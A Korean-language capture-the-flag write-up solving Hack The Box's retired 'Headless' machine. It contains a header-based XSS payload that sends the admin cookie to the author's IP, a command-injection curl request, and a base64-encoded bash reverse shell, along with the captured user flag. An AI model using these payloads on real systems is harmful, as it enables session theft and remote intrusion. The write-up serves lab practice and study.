← 전체 Write-Up

RedTeam / Hack The Box / RETIRED MACHINE

Headless

헤더 입력을 통한 관리자 쿠키 확보와 대시보드 명령 실행 분석.

읽기 안내

Hack The Box의 개인 실습 기록입니다. 문제 환경의 주소·계정·플래그와 원문에 남아 있는 실패·미완료 결과를 그대로 보존했습니다. 코드와 이미지는 이 기록을 읽기 위한 실습 증적입니다.

1. Recon

Headless — 실습 화면 1

nmap -sV -sC 10.10.11.8

포트 스캐닝 결과 22번 포트와 5000번 포트가 나왔다. 접속해보자.

Headless — 실습 화면 2

Headless — 실습 화면 3

2. Vuln. Reflected XSS

입력하는 폼이 나왔다. 여기에 XSS를 터트린다.

Headless — 실습 화면 4

Headless — 실습 화면 5

XSS 공격을 한 후 페이지다. Cookie 값에 is_admin 값이 박혀있는 것을 보니 admin인지 확인하는 쿠키인 것 같다. 일단 /support 페이지에서는 더 이상 공격을 해봐야 저 페이지만 뜨는 거 같으니 서브 도메인이나 하위 도메인을 찾아보자.

3. Brute Forcing domain

Headless — 실습 화면 6

ffuf -u http://10.10.11.8:5000/FUZZ -w ~/kali/Downloads/SecLists/Discovery/Web-Content/common.txt

Brute Force 결과 dashboard라는 하위 도메인이 나왔다.

접속 시 권한 없음 비스무리한 에러 메세지가 담긴 페이지가 뜬다.

Headless — 실습 화면 7

현재 페이지의 해당 쿠키 값은 다음과 같다. 이를 디코딩 해보자.

Headless — 실습 화면 8

InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs

<<<디코딩>>>

Headless — 실습 화면 9

Decoding 결과 base64로 인코딩 되어있다는 걸 알았고 user 문자열이 디코딩 되었다. 그렇단 얘기는 admin도 있다는 것을 반증하는 증거가 될 수도 있다.

Headless — 실습 화면 10

python3 -m http.server 80

해당 명령어를 통해 간단하게 웹 서버를 구동시킨다. 현재 박스 내에서 내 ip는 10.10.16.4 다. curl 명령어를 사용하여 box ip로 공격 페이로드를 전송함.

curl -X POST -d "fname=asdf&lname=asdf&email=asdf%40asdf.com&phone=1234&message=<>" -H "HEADER: <script>location.href='http://10.10.16.4?cookie='+document.cookie</script>" -i http://10.10.11.8:5000/support

Headless — 실습 화면 11

Headless — 실습 화면 12

반환된 Response 값을 보면 기존과는 다른 쿠키 값이 리턴됐다. 이거 까보면…

is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

<<<디코딩>>>>

Headless — 실습 화면 13

admin 쿠키 등장. 이걸 /dashboard에 적용해서 로그인하면

Headless — 실습 화면 14

못보던 페이지가 나온다. 여기서도 뭔가 취약점 시도를 해보자.

여기서 패킷을 잡아서 code injection 시도

Headless — 실습 화면 15

vdir 이라는 이름(유저)을 쓰는 것을 확인

이걸 활용하여 리버스 쉘로 붙기

Headless — 실습 화면 16

5. Reverse Shell

/bin/bash -i >& /dev/tcp/10.10.16.4/7777 0>&1

리버스 쉘을 붙이는 방법은 다양하다. 아래 링크를 참조 부탁.
https://tex2e.github.io/reverse-shell-generator/index.html

인코딩 값

L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjQvNzc3NyAwPiYxS

base64로 인코딩한 이유는?(필요할 때 빼고는 불편해서 잘 안쓰게 될듯)

  1. curl 커맨드 라인에 싱글쿼터와 더블쿼터가 너무 많을때 조금이라도 이스케이프 처리를 덜 하기위해
  2. 필터링을 우회하기 위해
  3. 슬래시(/) 덜 쓰기 위해…?

이 값을 넣어서 리버스 쉘을 연결한다.

curl -X POST -d "date=2023-09-15;bash -c 'echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjQvNzc3NyAwPiYxS | base64 -d | /bin/bash'" -i -H "Cookie: is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0" http://10.10.11.8:5000/dashboard

Headless — 실습 화면 17

쉘 접근 성공

6. Capture flag

Headless — 실습 화면 18

user flag 도출 성공

7f0420c8e5aa3e3aa0453431ace667f8

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.